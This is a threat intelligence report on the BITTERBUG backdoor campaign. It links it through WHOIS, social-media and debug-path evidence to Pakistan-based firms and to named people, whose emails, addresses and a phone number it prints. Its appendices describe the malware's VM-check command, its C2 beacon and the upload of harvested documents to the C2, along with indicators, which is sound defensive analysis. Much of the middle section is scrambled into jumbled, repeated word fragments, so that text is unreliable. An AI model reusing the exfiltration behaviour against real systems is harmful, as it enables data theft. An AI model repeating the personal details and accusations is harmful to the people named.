Aug 2013 12-52-54 +0500).eml +OPERATION ARACHNOPHOBIA +Figure 5: Digital Linx (digitallinx.com) +Figure 6: Screenshot of DigitalLinx.net +Website indicating its location +contact page +As seen in Figure 6, the administrative email address is admin@digitallinx.org.13 This is the same registrant record for the +digitallinx.net domain.14 The domains digitillinx.org, digitallinx.net, and digitallinx.com share current +and historical similarities in their WHOIS records and sitemap.xml files 15 16 that imply they are all controlled by the same individual +or entity. The domain digitallinx.com is registered to Muhammad Naseer Bhatti (Digital Linx Founder)17 18 19 who uses email +addresses naseer@digitallinx.com and nbhatti@gmail.com. The domain is also registered to the address 638-F Johar +Town, Lahore Pakistan.20 +The contact telephone number listed on Digital Linx + web site is 925-665-1427 (Figure 6), and is also used in the WHOIS record +for defiantmarketing.com21. +The domain defiantmarketing.com is registered to Abunasar Khan. The registration lists VPSNOC as the registrant organization, +abunasar@yahoo.com as the registration email address, and House 12, Street 21, F-8/1 Islamabad Federal 44000 as the +registration address. Abunasar Khan has been observed using the aliases +agnosticon + 22 and +agnostic +. From this we were able to +locate an advertisement in the Blackhatworld forum from April 2012 posted by agnosticon promoting VPSNOC and identifying it as +a subdivision of Digital Linx Hosting (Figure 7).23 Though none of this information is surprising, it further suggests that both Bhatti and +Abunasar Khan work or worked for Digital Linx and VPSNOC and during that time were both located in Pakistan.24 +https://whois.domaintools.com/vpsnoc.com +https://whois.domaintools.com/digitallinx.net +http://webcache.googleusercontent.com/search?q=cache:CtCiQUGgUaoJ:www.digitallinx.net/sitemap.xml+&cd=1&hl=en&ct=clnk&gl=us +http://digitallinx.net/Contact.html +https://whois.domaintools.com/digitallinx.com +http://sa.linkedin.com/pub/muhammad-naseer-bhatti/9/18a/815 +https://groups.google.com/forum/#!original/securityfocus2/9325p2as3IU/BqKQJwdlZ4YJ +https://github.com/digitallinx/vBilling/blob/master/CHANGELOG +https://whois.domaintools.com/defiantmarketing.com +http://www.blackhatworld.com/blackhat-seo/members/32481-agnosticon.html +http://www.blackhatworld.com/blackhat-seo/hosting/430705-unmetered-vps-hosting-get-50-off-your-first-month-exclusive-coupons-bhw.html +https://dazzlepod.com/rootkit/?page=284 +OPERATION ARACHNOPHOBIA +Figure 7: Blackhatworld advertisement identifying VPSNOC as a Digital Linx subdivision25 +Additional research into Abunasar Khan identified several registered domains and fragments of his online presence. Based on his +websites and account information, he appears to have an interest or participated in the Antisec26 and Anonymous27 movements +(Figure 8). He also used +anony mo us + in the registration name field of a personal account 28. +In addition, Abunasar Khan +s Google+ profile revealed connections to at least one Tranchulas employee, Hamza Qamar29 and a +Digital Linx employee, Shoaib Riaz.30 31Hamza Qamar, the Team Lead for Penetration Testing at Tranchulas, with whom TCIRT last +spoke.32 Visiting Hamza Qamar +s Google+ page (Figure 9), the only directly connected person was Abunasar Khan. At this point, it +shows that a probable VPNSOC employee with ties or interests in hacking has an undefined but potentially close relationship with +Hamza Qamar, the Penetration Testing employee from Tranchulas. +Figure 8: Abunasar.net main page +http://vpsnoc.com/order.png +http://abunasar.net +http://pastebin.com/rqVGqh1q +https://dazzlepod.com/rootkit/?page=284 +https://plus.google.com/105774284158907153401/about +https://plus.google.com/105059395104464629441/about +http://lists.horde.org/archives/horde/Week-of-Mon-20061225/032545.html +https://plus.google.com/103436628630566104748/posts +OPERATION ARACHNOPHOBIA +Figure 9: Qamar +s only connection out of 40+ followers +Qamar indicated on his public LinkedIn profile that he +engaged in system and enterprise level network and Web application +security testing for clients ranging from large federal agencies, DoD, and commercial clients +, though it is unclear which +is referenced (e.g., whether the Pakistani Ministry of Defense or some other nation +s defense department). Tranchulas identifies +government (presumably Pakistan +s government) as an operational sector for its work. Tranchulas + offensive cyber initiative +services are offered to +national-level cyber security programs + 33 34 indicating commercial demand from +national-level + customers. +Though Tranchulas35 brands itself as a multi-national company, with respective addresses within the United Kingdom36, the United +States37, and New Zealand38. We found evidence that these addresses are all associated with either virtual office spaces or +address forwarding services. +For further background information on these personas, please see Appendix F: Personas. +The following is a summary of the relationships between the hosting organizations and Tranchulas: + VPNSOC IP space was used as command and control nodes for attackers using variants of the BITTERBUG malware that +contained build strings that referenced +Tranchulas + and a Tranchulas employee. + Tranchulas and VPNSOC were in direct communication at some point in July-August 2013. + VPNSOC is a subsidiary of Digital Linx. + Tranchulas, VPNSOC, Digital Linx were all physically located in Pakistan but maintained virtual presence within the U.S. + Hamza Qamar was an employee of Tranchulas. +http://www.prnewswire.co.uk/news-releases/tranchulas-steps-into-the-global-cyber-strategy-market-with-launch-of-the-offensive-cyberinitiative-oci-230411011.html +Digital Appendix 3: Screenshot Archives (tranchulas.com/offensive-cyber-initiative-oci.png) +Digital Appendix 3: Screenshot Archives (tranchulas.com/contact-us) +http://www.londonpresence.com/contact-us/ +http://nextspace.us/nextspace-union-square-san-francisco/ +http://www.privatebox.co.nz/virtual-office/virtual-office-address.php +OPERATION ARACHNOPHOBIA + Muhammad Naseer Bhatti was the self-proclaimed founder of Digital Linx. + Abunasar Khan was affiliated with AntiSec and VPNSOC. + Digital Linx founder Muhammad Naseer Bhatti had at least a working relationship with VPNSOC employee Abunasar Khan39 +connected through domain registrations and a common Google+ profile for Shoaib Riaz (another Digital Linx employee). + VPNSOC employee Abunasar Khan had a direct connection to Tranchulas employee Hamza Qamar through Google+. +Note: A walkthrough of our research is available in Appendices C, D and E. +Technical Observations +Metadata Analysis: +As mentioned earlier, during the email exchanged with Zubair Khan, he sent TCIRT a Microsoft Word document (.docx). In +reviewing the document metadata for +Response_ThreatConnect.docx +, TCIRT identified that it contained the creator +properties of + TCIRT compared the metadata of two benign BITTERBUG-associated decoy documents from July 2013 and +found that both also had the author of + (Figure 10). +Decoys associated with BITTERBUG +Tranchulas Documents +Figure 10: Matching Document Author Metadata +http://www.know-hosting.com/view/27108-digitallinx.html +OPERATION ARACHNOPHOBIA +While the author field of + doesn +t conclusively prove a relationship, it contributes to the body of circumstantial evidence which +links properties of the official Tranchulas response to the properties of decoy documents that were used in conjunction with +BITTERBUG targeting campaigns. +Malware Analysis: +CyberSquared Inc. partnered with FireEye for a second technical review of the malware associated with this activity. FireEye +analyzed the malware, +which +they call +BITTERBUG, +and determined +it to be +a custom +backdoor. The +backdoor +date. +earliest +samples +BITTERBUG +contain +Tranchulas +debug +path +relies on various +(below), +mentioned +Apublically +ugust +2013 +TCIRT +blog +post. +These +Blaunch, +ITTERBUG +support components, +including +the non-malicious, +available +Libcurl +installation, +and communications. In +were +robably +used +attacks +around +summer +2013, +using +possible +some variants,variants +BITTERBUG +haspthe +ability to +automatically +target +and exfiltrate +files +with extensions +such aslures +.doc, .xls, .pdf, .ppt, +date. +earliest +samples +eath +BITTERBUG +cA:ontain +Tranchulas +debug +path +related +tmalware +then- +recent +Sarabjit +Singh +Indian +national +imprisoned +.egm, and .xml. +TheTfull +report +is included +in o +Appendix +Malware +Details. +(below), +maentioned +August +2013 +TCIRT +blog +post. +These +BsITTERBUG +Pakistan) +Indian +Government +pension +emorandum. +tated +The earliest evidence +of w +malware +toafApril +2013, +basedson +Portable +Executable +compile +times, with more than +variants +robably +udates +ttacks +aTround +ummer +2013, +sing +(PE) +possible +lures +original +blog +(pand +rfamily +aised +tihe +ormal +ranchulas +response), +sueveral +binaries +10 BITTERBUG +variants +to date. +earliest +contain nthe +related +then- +recent +death +samples +Sarabjit +ingh +Indian +ational +contain +robserved +eferences +Cath +debug +ofpSBITTERBUG +ath. +important +Tranchulas +note +imprisoned +that +debug path (below), +akistan) +aand +Indian +Gpost. +overnment +pension +emorandum. +stated +as mentionedin +August +2013 +blogcomponents +These BITTERBUG +variants +werevprobably +used +around summer +Cath +files +aTCIRT +upport +BITTERBUG +ariants, +inin +attacks +pthe +robable +original +blog +raised +tbhe +ormal +Tpranchulas +response), +bimprisoned +inaries +2013, using possible +lures +related +the then-recent +death of +Sarabjit +Indianseveral +national +in Pakistan) and an +that +these +w(ere +dtoeveloped +afnother +arty +Singh +required +component +contain +references +Cath +debug +path. +(and +important +formal +note +Tranchulas +that + response), several +family. +Indian Government +pension +memorandum. +As stated +in the +original +blog +raised in the +Cath +files +toare +support +omponents +BITTERBUG +ariants, +psupport +robable + references +binaries contain +Cath +in thecdebug +path. It aisnd +important +to note that vthe +Cath +sfiles +components and +that +hese +eveloped +nother +arty +equired +omponent +Studio +2008\Projects\upload\Release\upload.pdb +notC:\Users\Tranchulas\Documents\Visual +BITTERBUG variants, so it is probable that these were +developed +by another party but are a requiredf +component + the family. +family. +C:\Users\Cath\documents\visual +studio 2010\Projects\ExtractPDF\Release\ExtractPDF.pdb +C:\Users\Cath\documents\visual +studio 2010\Projects\Start\Release\Start.pdb +C:\Users\Tranchulas\Documents\Visual +Studio 2008\Projects\upload\Release\upload.pdb +C:\Users\Cath\documents\visual +studiow2010\Projects\ExtractPDF\Release\ExtractPDF.pdb +Additional +BITTERBUG +variants +compiled +June +July +2013 +that +contained +C:\Users\Cath\documents\visual studio 2010\Projects\Start\Release\Start.pdb +different +identifiers +debug +paths: +Cert-India +samples) +umairaziz27 +sample).41 +presence +umairaziz27 +debug +path +Additional BITTERBUG +variants +were +inonder +June +that +contained +identifiers +in the debug paths: +Additional +ITTERBUG +variants +were +ompiled +June +Jdifferent +2013 +contained +from +sBample +mcompiled +akes +ctJuly +r2013 +epresents +operational +stecurity + path from one +different +dentifiers +ebug +aths: +Cert-India +samples) +Cert-India +(3 samples) +umairaziz27 +(1 p +sample). +The presence +in a debug +mistake. +debug +path +umairaziz27 +ofT( +umairaziz27 +witter +aLnd +inkedIn +saample). +Tahe +presence +umairaziz27 +debug +path + led us to Twitter42 +sample makes +umairaziz27 +us wonder(ifon +thiswrepresents +an operational +mistake. +The debug +of a +umairaziz27 +accounts +hich +matching +lias +isecurity +used) +belong +path +Tranchulas +employee +smair +ample +ma akes +walias +onder +this +operational +security +and LinkedIn43from +accounts +which +matching +is used) +thatrepresents +belong +a aTranchulas +employee +Aziz, who +named +U(on +Aziz, +dentified +imself +nformation +Security +Anamed +nalystUmair +LinkedIn +mistake. +ebug +path +oAnalyst +umairaziz27 +TUniversity +witter +graduate +Ndational +University +oand +Sciences +Tuechnology +NUST). +Oand +oTechnology +these + 45 (NUST).46 +identified himself +as an Information +Security +graduateaof +National +Sciences +accounts +(won +wphich +matching +lias +summer +sed) +belong +uTsing +ranchulas +samples +robably +uinsed +attacks +late +t2013, +summer +leaked +report +One of these samples +probably +used +attacks +in late +using2013, +leaked +report +lureemployee +which +contained a decoy +named +mair +ziz, +dentified +imself +nformation +ecurity +nalyst +lure +hich +ontained +ecoy +ocument +elated +akistan +lleged +nability +document related to Pakistan +s alleged inability to locate Osama Bin Laden. +graduate +National +University +Sciences +Technology45 +(NUST).46 +these +locate +Osama +Laden. +samples +robably +used +attacks +late +summer +2013, +using +leaked +report +lure +which +contained +decoy +document +related +2008\Projects\ufile\Release\ufile.pdb +Pakistan +alleged +inability +C:\Users\Cert-India\Documents\Visual +Studio +locate +Osama +Laden. +C:\Users\umairaziz27\Documents\Visual +Studio 2008\Projects\usb\Release\usb.pdb +C:\Users\Cert-India\Documents\Visual +Studio +2008\Projects\ufile\Release\ufile.pdb +After publication +of thepTCIRT +blog and +with +Tranchulas +occurred in August +no new samples of +After +ublication +tour +communications +TCIRT +blog +communications +with +T2013, +ranchulas +C:\Users\umairaziz27\Documents\Visual Studio 2008\Projects\usb\Release\usb.pdb +August +2013, +ncompile +samples +BITTERBUG +support +components +BITTERBUG oroccurred +its supporticomponents +(basednon +times) were +identified untiloSeptember +(various +support components) and + (based +compile +times) +were +until +Sfollowing +eptember +various +support +October (a new +BITTERBUG +variant). Interestingly, +theidentified +samples compiled +the(blog +publication +used entirely new and generic +After +ublication +TCIRT +communications +with +analysis. +Tranchulas +components) +Otctober +nbew +ITTERBUG +Interestingly, +samples +debug paths (Figure +as well a +asnd +compilation +tactic +toBaconceal +C2variant). +address from +static +Between +September and +occurred +ugust +013, +amples +ITTERBUG +upport +omponents +compiled +ollowing +ublication +ntirely +eneric +ebug +paths + activities, +December, we observed more variations of BITTERBUG and its support components in terms of packaging, host-based +(based +compile +times) +were +identified +until +September +various +support +(Figure +well +compilation +tactic +conceal +address +from +static +components) +OSctober +variant). +Interestingly, +samples +analysis. +Between +eptember +BDITTERBUG +ecember, +observed +more +variations +http://curl.haxx.se/libcurl/ +compiled +ollowing +ublication +used +entirely +generic +debug +paths +Appendix A: Malware Details +Appendix +(Figure +Mwalware +Daetails +compilation +tactic +conceal +address +from +static +https://twitter.com/umairaziz27 +https://twitter.com/umairaziz27 +analysis. +Between +September +December, +observed +more +variations +http://pk.linkedin.com/in/umairaziz27 +ttp://pk.linkedin.com/in/umairaziz27 +https://twitter.com/umairaziz27/status/332049978878996481 +hppendix +Malware +Details +ttps://twitter.com/umairaziz27/status/332049978878996481 +www.nust.edu.pk +ttps://twitter.com/umairaziz27 +ww.nust.edu.pk +http://www.nust.edu.pk/INSTITUTIONS/Directortes/ilo/Download%20Section/Graduate%20Profile%20SEECS%20%20BICSE.pdf +hhttp://www.nust.edu.pk/INSTITUTIONS/Directortes/ilo/Download%20Section/Graduate%20Pro +ttp://pk.linkedin.com/in/umairaziz27 +file%20SEECS%20%20BICSE.pdf +https://twitter.com/umairaziz27/status/332049978878996481 +www.nust.edu.pk +46http://www.nust.edu.pk/INSTITUTIONS/Directortes/ilo/Download%20Section/Graduate%20Pro +file%20SEECS%20%20BICSE.pdf +OPERATION +ARACHNOPHOBIA +BITTERBUG +support +components +terms +packaging, +host- +based +activities, +decoys +lack +them) +compared +samples +before +blog +post. +could +indicate +that +threat +ctors +aThis +ware +indicate +blog +post + actors were aware +and decoys (or the +lack T +ofhis +them) +compared +to the +samples +before aour +blogwpost. +could +that +the threat +modified +heir +alware +elated +omponents +istance +rior +of the blog post and modified their malware and related components to distance them from prior indicators. +indicators. +C:\Intel\Logs\file.pdb +Figure +Generic +Debug +Path +Figure 11: Generic Debug Path +Between +December +2013 +late +March +2014, +observed +several +lures +used +BITTERBUG +self- +extracting +(SFXRAR) +files. +from +December +contained +Between December 2013 and late March 2014, we observed several new lures used in BITTERBUG self-extracting RAR (SFXRAR) +several +BITTERBUG +variants +used +decoy +document +(Figure +related +files. One from December +contained +several +variants and used +decoy PDF +document +(Figure +12) related to the +aIndian +diplomat +United +December +arrest +BITTERBUG +Devyani +Khobragade, +December arrest States. +of Devyani +Khobragade, +Indian +diplomat +United +States. +spring +2014, +observed +SFXRAR file +spring +2014, +observed +SFXRAR +file +with +filename +lure +related +athe +with a filename lure +related +to thedisappearance +March 2014 disappearance +of A +Malaysia +(cast +Pakistan-related hijacking). +March +2014 +Malaysia +irlines +Airlines +Flight +Flight +370 370 +(cast +Paakistan- +related +hijacking). +This +SFXRAR +ontained +dependencies +latest +BITTERBUG +variant, +which +Interestingly, +This SFXRAR contained +latest BITTERBUG +variant, c +which +had new +on support +components. +this +ependencies +upport +omponents. +nterestingly, +FXRAR +ilename +SFXRAR +s filename was the only lure element related to the MH370 event; it did not contain a decoy document. We provide a +land +element +elated +MH370 +event; +contain +decoy +more detailed report +onthe +thisoSFX +related rvariant +intAppendix +A: Malware +Details. +document. +provide +more +detailed +report +this +related +variant +Appendix +Malware +Details. +Figure 12: Screenshot of Indian diplomat arrest decoy PDF +http://world.time.com/2013/12/18/us-to-review-devyani-khobragade-arrest-and-strip-search/ +48http://www.businessinsider.com/mh370-investigators-find-evidence-of-a-mysterious-poweroutage-during-the-early-part-of-its-flight-2014-6 +BITTERBUG continued to rely on the same network behaviors to communicate with its C2s. Connections to its C2 nodes relied on +PHP and used communications that included +.php?compname= + and +.php?srs= +, as well as direct file/component retrieval +also +from the C2s. Though many of the samples that we have observed use direct IPs for HTTP communications, we have +observed more limited use of a No-IP domain. +http://world.time.com/2013/12/18/us-to-review-devyani-khobragade-arrest-and-strip-search/ +http://www.businessinsider.com/mh370-investigators-find-evidence-of-a-mysterious-power-outage-during-the-early-part-of-its-flight-2014-6 +OPERATION ARACHNOPHOBIA +Conclusion +Operation Arachnophobia consists of an apparent targeted exploitation campaign, dating back to early 2013, using the +BITTERBUG malware family and seemingly directed against entities involved in India-Pakistan issues. The threat actor appears to +have exclusively used VPSNOC, a probable Pakistan-based VPS service provider who leased U.S. hosting services, for both the +delivery and C2 phases of attack. Research later identified that a Pakistan-based VPSNOC representative had a social network +affiliation with a Tranchulas employee as well as apparent affiliations with the Anonymous and AntiSec movements. +After the August 6, 2013 blog, Tranchulas provided TCIRT and the media an official statement and explanation of BITTERBUG +activity, however, this explanation contained discrepancies. The TCIRT addressed some of these discrepancies with Tranchulas +personnel, who were unresponsive, increasing our suspicion of the activity. We later observed BITTERBUG activity following +August 2013 with subtle changes that further generalized debug paths. It was this chain of events that served as a catalyst for +extra scrutiny of the activity and collaboration between the ThreatConnect and FireEye Labs teams to share information. +While we are not conclusively attributing BITTERBUG activity to Tranchulas or a specific Pakistani entity, we can confidently point +to many characteristics of a Pakistan-based cyber exploitation effort that is probably directed against Indian targets or those who +are involved in India-Pakistan issues. Many of the notable characteristics of the BITTERBUG activity suggest that this is indeed +part of a Pakistan-based cyber exploitation effort that has apparently attempted to obfuscate its malware characteristics and +origins (behind U.S. infrastructure), before and after public disclosure in August 2013. +On the surface, BITTERBUG serves as an example of how threat actors mask their operations across social, cultural and +geographic boundaries. More importantly, it demonstrates the value of threat intelligence sharing and industry collaboration. As +one organization begins to pull at a thread of evidence and share their findings with another, a larger understanding and shared +perspective is revealed. It is through this process that a shared awareness emerges into a larger, more comprehensive story that +explains what we are seeing and why - ultimately it is this story that better serves us all. +OPERATION ARACHNOPHOBIA +APPENDIX +APPENDIX A: Malware Details +BITTERBUG +BITTERBUG is a backdoor executable capable of uploading and downloading files, listing running processes, generating file listings, +and automatically transferring selected files to its command and control (C2) server. BITTERBUG appears to be virtual machine aware +and may not execute on a VMWare or VirtualBox VM. We have observed BITTERBUG installed by a self-extracting RAR archive +disguised as a screensaver. Upon execution, the self-extracting RAR archive may extract configuration files, dependency DLLs, and +the BITTERBUG executable. The timeline below is of BITTERBUG activity from May 2013 through March 2014. +Timeline of BITTERBUG characteristics vs.ThreatConnect events +OPERATION ARACHNOPHOBIA +Details +Upon execution the self-extracting RAR may install .exe and the following DLLs: + libcurld.dll + Used for downloading and uploading files + msvcm90d.dll + C runtime library + msvcp90d.dll + C runtime library + msvcr90d.dll + C runtime library +The self-extracting RAR may install the following benign configuration files: + Microsoft.VC90.DebugCRT.manifest + Compilation artifact + BtcirEt.DZU + Self-extracting RAR configuration file + SJeXSrA.KNX + Self-extracting RAR configuration file + VCAKSQl.TNT + Self-extracting RAR configuration file +BITTERBUG first may execute the following Windows Management Instrumentation (WMI) command to detect the presence of a +virtual machine (VM): + cmd.exe /c wmic diskdrive list brief > +%APPDATA%\Microsoft\recovery.txt +BITTERBUG then may open recovery.txt and check for the presence of strings VBox or VMware. The backdoor then may +enter an infinite sleep loop if recovery.txt contains either one of the aforementioned strings (Example in Figure 13). +Figure 13: Example recovery.txt file from VMware virtual machine +Next BITTERBUG typically will beacon to the C2 server by sending the computer name and username of the compromised +system. An example beacon request is shown in Figure 14. +POST /path_active.php?compname=<%COMPUTERNAME%>_<%USERNAME%> HTTP/1.1 +Host: +Accept: */* +Content-Length: 25 +Content-Type: application/x-www-form-urlencoded +<%COMPUTERNAME%>_<%USERNAME%> +Figure 14: Initial C2 beacon +OPERATION ARACHNOPHOBIA +BITTERBUG then may perform an HTTP GET request for the following URI: +http:///checkpkg.php?compname=<%COMPUTERNAME%>_<%USERNAME%> +If the C2 server responds with a filename, the filename received is deleted from %APPDATA%\Microsoft. The purpose of this command might be to delete older versions of BITTERBUG, although we have not observed this +command occurring in the wild. +BITTERBUG then may attempt to download the files listed in Table 1. The purpose of the first three files is unknown. The final two +files are downloaded to the user +s Startup directory and executed at startup in order to maintain persistence. +Request URI +Download Path +http:///versionchk.php?srs=436712384 +%APPDATA%\Microsoft\file.exe +http:///vtris.php?srs=436712384 +%APPDATA%\Microsoft\percf001.dat +http:///vtris1.php?srs=436712384 +%APPDATA%\Microsoft\percf002.dat +http:///is_array_max.php?compname= +%USERPROFILE%\Start Menu\Programs\ +<%COMPUTERNAME%>_<%USERNAME%> +Startup\wincheck.exe +http:///is_array_pal.php?compname= +%USERPROFILE%\Start Menu\Programs\ +<%COMPUTERNAME%>_<%USERNAME%> +Startup\winsquirt.exe +Table 1: Files downloaded by the backdoor +Next, BITTERBUG may scan through each drive letter and search recursively for files with the following file extensions: .doc, +.ppt, .xls, .pdf, .docx, .pptx, .pps, .xlsx +BITTERBUG then typically creates a file list containing all documents (excluding those whose filename contains MediaUtils) to +the following locations: + %APPDATA%\Microsoft\plang006.txt + %APPDATA%\Microsoft\tlang006.txt +BITTERBUG may also write a list of all running processes to: + %APPDATA%\Microsoft\prc.dat +Finally, BITTERBUG typically uploads the running process list, document file list, and all documents to the following URI: + http:///fetch_updates_flex.php?compname=<%COMPUTERNAME%>_<%USERNAME%> +Host-Based Signatures +File System Residue +BITTERBUG may be extracted along with the following embedded files: + %USERPROFILE%\5rv3fgk6\.exe + %USERPROFILE%\5rv3fgk6\libcurld.dll + %USERPROFILE%\5rv3fgk6\msvcm90d.dll + %USERPROFILE%\5rv3fgk6\msvcp90d.dll + %USERPROFILE%\5rv3fgk6\msvcr90d.dll + %USERPROFILE%\5rv3fgk6\Microsoft.VC90.DebugCRT.manifest +OPERATION ARACHNOPHOBIA + %USERPROFILE%\5rv3fgk6\SJeXSrA.KNX + %USERPROFILE%\5rv3fgk6\BtcirEt.DZU + %USERPROFILE%\5rv3fgk6\VCAKSQl.TNT +The malware may create the following files: + %APPDATA%\Microsoft\recovery.txt + %APPDATA%\Microsoft\plang006.txt + %APPDATA%\Microsoft\tlang006.txt + %APPDATA%\Microsoft\prc.dat + %APPDATA%\Microsoft\file.exe + %APPDATA%\Microsoft\percf001.dat + %APPDATA%\Microsoft\percf002.dat + %USERPROFILE%\Start Menu\Programs\Startupwincheck.exe + %USERPROFILE%\Start Menu\Programs\Startup\winsquirt.exe +Network-Based Signatures + The malware typically communicates on TCP port 80: + The malware may perform HTTP requests for the following URIs: + http:///checkpkg.php?compname=<%COMPUTERNAME%>_<%USERNAME%> + http:///is_array_max.php?compname=<%COMPUTERNAME%>_<%USERNAME%> + http:///is_array_pal.php?compname=<%COMPUTERNAME%>_<%USERNAME%> + http:///path_active.php?compname=<%COMPUTERNAME%>_<%USERNAME%> + http:///fetch_updates_flex.php?compname=<%COMPUTERNAME%>_<%USERNAME%> + http:///versionchk.php?srs=436712384 + http:///vtris.php?srs=436712384 + http:///vtris1.php?srs=436712384 +File Manipulations +We observed other interesting operational security-oriented challenges in the post-blog post samples. In one case, an actor +appeared to manually null out the +Cert-India + user directory in one of the file paths (see figures 15 and 16 below) contained in +two binaries (support components). These files shared the same import hash (4e96e86db5a8a025b996aefdc218ff74) and were +virtually the same files minus modification to a few bytes in the second sample. +Figure 15: Original file content for 7588ff900e32145cbcbc77837237aef8 +OPERATION ARACHNOPHOBIA +Figure 16: Nulled file path for 26616e6662b390ebdb588cdaaae5e4f6 +As these samples point to, we also observed use of the C++ Boost libraries, which introduced a new file path to monitor for +operational security purposes. We observed at least one case in which files mixed old and new file paths, as seen in the figures 17 +and 18 below. +Figures +Screenshots +from +locations +6e8c4d2d5d4e5e7853a1842b04a6bfdf +Figures 17 and 18: Screenshots from +two locations in 6e8c4d2d5d4e5e7853a1842b04a6bfdf +both +cases, +possible +that +actors +intentionally +this +attempt +In both cases, it is possible +that the +actors intentionally +this iin +an pattempt +to mislead +further +research +efforts o +into +mislead +further +research +edid +fforts +ost- +blog +samples +cast +suspicion +postCert- +India +Cert-India +more- +revealing +element. +Felement. +example, +analysis +files +deployed +blog samples or cast suspicion +as a more-revealing +For example, +analysis +of files +deployed alongside +alongside +nulled- +Cert- +India +sample +mover +entioned +above +revealed +lack +the nulled-out +Cert-India +sample mentioned +above revealed +a lack of +concern +the same +string. +Alternatively, +these +concern +tring. +lternatively, +hese +nconsistencies +ould +ndicate +inconsistencies could also indicate sloppy tradecraft and/or teamwork. +sloppy +tradecraft +and/or +teamwork. +C:\Users\CertIndia\Documents\boost_1_53_0\boost/thread/win32/thread_primitives.hpp +OPERATION ARACHNOPHOBIA +APPENDIX B: MD5 Hashes and Malware Table +BITTERBUG Hashes +File Size (bytes) +Compile Time +be7de2f0cf48294400c714c9e28ecdd1 +158720 +2013-05-08T10:58:22Z +fd3a713ebf60150b99fb09de09997a24 +158208 +2013-05-10T19:18:54Z +03f528e752dee57b1ff050a72d30de60 +158208 +2013-05-23T17:21:19Z +801c8bac8aea4d0226e47551c808a331 +169984 +2013-06-14T13:53:13Z +a21f2cb65a3467925c1615794cce7581 +172032 +2013-06-25T13:04:04Z +35663e66d02e889d35aa5608c61795eb +171520 +2013-07-09T10:16:00Z +328adb01fb4450989ee192107a765792 +173056 +2013-08-01T17:28:54Z +8878162cf508266f6be1326da20171df +267776 +2013-10-24T09:28:23Z +5ccb43583858c1c6f41464ee21a192ba +225792 +2013-12-06T10:02:36Z +44abc22162c50fcc8dc8618241e3cd1a +169472 +2013-12-26T09:19:40Z +6e8c4d2d5d4e5e7853a1842b04a6bfdf +480256 +2013-12-30T13:11:23Z +828d4a66487d25b413cb19ef8ee7c783 +171520 +2014-03-17T08:16:25Z +BITTERBUG and Support Component Debug Strings (in order of first use) +Compile Time +Debug Paths +2013-05-08T10:58:22Z +C:\Users\Tranchulas\Documents\Visual Studio 2008\Projects\upload\Release\upload.pdb +2013-05-10T19:18:54Z +C:\Users\Tranchulas\Documents\Visual Studio 2008\Projects\upload\Release\upload.pdb +2013-05-23T17:21:19Z +C:\Users\Tranchulas\Documents\Visual Studio 2008\Projects\upload\Release\upload.pdb +2013-05-28T11:59:36Z +C:\Users\Cath\documents\visual studio 2010\Projects\ExtractPDF\Release\ExtractPDF.pdb +2013-05-30T08:48:04Z +C:\Users\Cath\documents\visual studio 2010\Projects\Start\Release\Start.pdb +2013-06-13T08:34:21Z +C:\Users\Cath\documents\visual studio 2010\Projects\ExtractPDF\Release\ExtractPDF.pdb +2013-06-14T13:53:13Z +C:\Users\Cert-India\Documents\Visual Studio 2008\Projects\ufile\Release\ufile.pdb +2013-06-25T13:04:04Z +C:\Users\umairaziz27\Documents\Visual Studio 2008\Projects\usb\Release\usb.pdb +2013-07-09T10:16:00Z +C:\Users\Cert-India\Documents\Visual Studio 2008\Projects\ufile\Release\ufile.pdb +2013-08-01T17:28:54Z +C:\Users\Cert-India\Documents\Visual Studio 2008\Projects\ufile\Release\ufile.pdb +2013-10-24T09:28:23Z +C:\Intel\Logs\file.pdb +2013-12-06T10:02:36Z +C:\Intel\Logs\logs.pdb +2013-12-26T09:19:40Z +C:\Intel\Logs\file.pdb +2013-12-30T13:11:23Z +C:\Intel\Logs\file.pdb +2014-03-17T08:16:25Z +C:\Intel\Logs\file.pdb +OPERATION ARACHNOPHOBIA +BITTERBUG Import Hashes +Imphash +Compile Time +610893cd57631d1708d5efbc786bd9df +2013-05-08T10:58:22Z +5b1bebadb5713018492b1973ab883c25 +2013-05-10T19:18:54Z +5b1bebadb5713018492b1973ab883c25 +2013-05-23T17:21:19Z +cf63bfee568869182bd91a3cb8e386ce +2013-06-14T13:53:13Z +ccca290b8ab75a5b29f61847fb882c20 +2013-06-25T13:04:04Z +cf63bfee568869182bd91a3cb8e386ce +2013-07-09T10:16:00Z +435bd4f04b2ee7cb05ce402f2bcea85e +2013-08-01T17:28:54Z +2458ee58d046f14cad685e6c9c66f109 +2013-10-24T09:28:23Z +c47d4980c1c152eba335bed5076e8a6f +2013-12-06T10:02:36Z +bd0665ffedcf2a9ded36a279d08e4752 +2013-12-26T09:19:40Z +58758cb068583736ef33a09a2c4665de +2013-12-30T13:11:23Z +5b943bec7d2a589adfe0d3ff2a30bfe5 +2014-03-17T08:16:25Z +OPERATION ARACHNOPHOBIA +BITTERBUG Network Communications +HTTP Requests +http:///checkpkg_maxell.php?compname= +http:///checkpkg_petal.php?compname= +http:///checkpkg.php?compname= +http:///fetch_updates_8765_tb.php?compname= +http:///fetch_updates_flex.php?compname= +http:///fetch_updates_m.php?compname= +http:///fetch_updates_petal.php?compname= +http:///fetch_updates_pops.php?compname= +http:///fetch_updates_pret.php?compname= +http:///is_array_max.php?compname= +http:///is_array_own.php?compname= +http:///is_array_pal.php?compname= +http:///is_array.php?compname= +http:///maxell_active.php?compname= +http:///path_active.php?compname= +http:///petal_active.php?compname= +http:///version_maxell.php?srs= +http:///version_own.php?srs= +http:///version_petal.php?srs= +http:///versionchk.php?srs= +http:///vtris.php?srs= +http:///vtris1.php?srs= +http:///fetch_updates_8765.php?compname= +BITTERBUG Domain & IPs +199.91.173.43 +199.91.173.44 +199.91.173.45 +windowsupdate.no-ip.biz +OPERATION ARACHNOPHOBIA +APPENDIX C: VPSNOC Email Header Analysis +The Kansas-City-based hosting provider sent an introductory email message on July 24th, 2013 at 1500 CDT and would be +received by TCIRT at 1400 EDT and VPSNOC on Thursday July 25th, 2013 at 1200 PKT. 49 +Analysis of the VPSNOC email50 header indicated that the message was sent on Thursday 25 July at 02:28:41 +0500 GMT, which +is consistent with Pakistan +s time zone. Of note, the email message was sent with an X-Originating IP Address of 184.75.214.10 +corresponding to a Private Internet Access51 Canadian proxy52. VPSNOC +s use of this commercial proxy service likely +demonstrates the intent to mask the apparent origin of the sender. +These two examples highlight that VPSNOC +s inbound and outbound email communications consistently utilized a +0500 +Pakistani timezone. +Digital Appendix 1: Raw Email Communications; Email#1 Subject- Re- Contact Info (Date- Wed, 24 Jul 2013 14-00-29 -0500).eml +Digital Appendix 2: Raw Email Communications; Email#2 Subject- Re- Contact Info (Date- Thu, 25 